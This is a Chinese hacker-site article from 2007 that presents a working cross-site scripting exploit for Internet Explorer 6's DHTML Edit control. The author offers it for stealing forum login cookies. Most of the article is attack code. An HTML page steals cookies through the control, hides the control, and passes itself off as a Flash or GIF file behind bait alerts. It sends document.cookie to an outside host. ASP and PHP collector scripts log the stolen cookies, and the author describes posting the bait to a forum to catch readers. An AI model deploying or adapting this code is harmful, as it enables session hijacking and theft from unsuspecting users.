文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
MSIE DHTML Edit跨站脚本漏洞

www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------
 

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!

[受影响系统] 
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1 
- Microsoft Windows XP Professional 
- Microsoft Windows XP Home SP1 
- Microsoft Windows XP Home 
- Microsoft Windows ME 
- Microsoft Windows 98 SE 
- Microsoft Windows 98 
- Microsoft Windows 2000 

[漏洞描述] 
Microsoft Internet Explorer DHTML edit控件不正确过滤部分数据,远程攻击者可以利用这个漏洞进行跨站脚本攻击,获得敏感信息。DHTML编辑控件存在一个安全问题可被父窗口访问,包括Script函数,攻击者使用exeScript直接注入javascript到控件,当目标用户打开恶意链接时,会导致恶意脚本代码执行,泄露敏感信息。
看来只能影响到IE 6.0版本,并且对Windows XP SP2没有作用,不过没有给XP打SP2补丁的用户不在少数,这个漏洞的利用价值还是蛮大的。
由于我使用的是Windwos XP SP1正好存在这个漏洞,我们就先来测试一下吧,在本地建立如下内容的HTML页面:
<html>
<head>
<title>测试</title>
</head>
<body onload="setTimeout(’x.DOM.body.innerHTML=\’<b>正在装载,请稍后 
++++++++++++++</b>\’’);setTimeout(’main()’,1000)">
<object 
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="800" 
height="600" 
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp? 
action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert(’等等++++++++++++++++++++++++++’);
x.DOM.Script.execScript(’alert(document.cookie)’);
}
</SCRIPT>

</body>
</html>
用IE浏览器打开,如果你的系统存在这个漏洞,看出现了什么。
呵呵,弹出了我在黑防论坛上的Cookie信息。不过这个页面利用起来很不方便,并且成功率不高,如果没等到DHTML控件加载完毕就点击确定,是不会弹出任何Cookie信息的。
没等到页面加载完毕就点击弹出的第一个确定,一定会攻击失败,看来还是不足的。我们来对这个页面进行一下补充和修改吧,使得它成为一个成功率高的偷取Cookie信息的网页,好了,我们现在开始动手。
为了增加加载时间我们先将setTimeout(’main()’,1000)中的参数改大一些,就设成10000把,也就是10秒,够长了。虽然页面显示着正在加载,但状态栏中却显示着完毕,我们来修改状态栏的文字,加入如下的函数:
function clock() {
var title="正在装载,请稍后++++++++++++++";
status=title;
}
为了尽可能的诱使浏览者去打开这个页面,我们把它改名成.swf格式的文件,即把此页面伪装成一个Flash文件。在页面中加入:
<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="http://www.istacey.net/project/exorcist/icon/promo3.swf">
<param name="quality" value="High">
<embed src="http://www.istacey.net/project/exorcist/icon/promo3.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>
同时隐藏DHTML控件,即将DHTML空间的width,height属性设置成0。为了将Cookie发送,我们添加如下脚本:
x.DOM.Script.execScript("window.open(’http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments=’+document.cookie)");
这是为了测试方便,我将浏览者的Cookie信息发送到了网上一个发表评论的地方了。最终的测试页面是:
<html>
<head>
<title>测试</title>
</head>
<body onload="setTimeout(’x.DOM.body.innerHTML=\’<b>正在装载,请稍后++++++++++++++</b>\’’);clock();setTimeout(’main()’,10000)">
<object 
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="0" 
height="0" 
align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function clock() {
var title="正在装载,请稍后++++++++++++++";
status=title;
}


function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
alert("游戏名称:神秘祭坛\n");
alert("测试通过者拥有着超人的观察力!\n");
alert("全世界只有10个人可以全部找出!\n");
alert("相信你就是这10个人中的一员\n");
alert("祝你好运++++++++++++++++++++\n");
alert("务必在找到不同后点击确定!!\n");
//x.DOM.Script.execScript(’alert(document.cookie)’);
x.DOM.Script.execScript("window.open(’http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments=’+document.cookie)");
}
</SCRIPT>

<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">
<param name="movie" value="http://www.istacey.net/project/exorcist/icon/promo3.swf">
<param name="quality" value="High">
<embed src="http://www.istacey.net/project/exorcist/icon/promo3.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>
</body>
</html>
其中的http://www.istacey.net/project/exorcist/icon/promo3.swf是朋友发给我的地址,把我给下了一跳,不过没想到我却用它来骗稿费了,呵呵。
为了测试,赶快去黑防论坛发表一篇文章,要有吸引力才行。
够有吸引力的了吧?我猜中招的一定不少!其实我们可以把以上的攻击文件改名成.swf,为了在论坛上传方便(不允许swf格式),我改名为gif格式了。
由于它是利用的IE漏洞这个页面的地址可以在任意地方,不过注意:
function shellscript()
{
window.name="poorchild";
open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");
}
这个函数中定义了我们要偷取浏览者机器中站点的Cookie信息,我设置的是黑防论坛的,大家可以换成要攻击的论坛。同时这个页面也要选取内容少的页面,最好不要带图片,以加快载入时间。
好,我自己就先来看看效果吧。

看来是成功了,为了不让浏览者看到自己的的Cookie信息,可以把它发送到自己定制的ASP页面,方法是在支持ASP和FSO组件的空间上建立以下页面:
<%
testfile=Server.MapPath("cookie.txt")
cookie=Request("cookie")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&cookie& "")
thisfile.close
set fs = nothing
%>
将它命名为Cookie.asp,注意修改以下内容:
x.DOM.Script.execScript("window.open(’http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments=’+document.cookie)");
改为
x.DOM.Script.execScript("window.open(’http://youwebsite.com/cookie.asp?cookie= ’+document.cookie)");
或在支持PHP的空间建立以下页面:
<?php 
$info = getenv("QUERY_STRING"); 
if ($info) { 
$fp = fopen("info.txt","a"); 
fwrite($fp,$info."\n"); 
fclose($fp); 

header("Location: http://wwwhacker.com.cn");
这样通过这个漏洞,我们就可以偷取到任何论坛的Cookie信息了,不管论坛做了多么安全,只要浏览者IE存在此漏洞,就可成功获取别人的Cookie,这可称得上是论坛杀手了!

   -------------------------------------------------------------------------------------------
  上一篇:Windows防火墙竟然隐藏开放端口
  下一篇:PHPWIND 4.1跨站漏洞
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
DVBBS 7.1.0 SP1博客远程
bbsxp上传注入漏洞
现代教务管理系统漏洞
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
沸腾新闻系统 V1.1 Access
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
oblog商业版本4.6注射漏洞
PHPWind论坛5.3版postuplo
百度超级搜霸远程代码执行
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
bo-blog2.0.3文件浏览漏洞
宁波都市网漏洞公告(通杀
Microsoft Internet Explo
乔客(joekoe) CMS 4.0 的2
雅虎窗件曝出缓冲区溢出漏
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号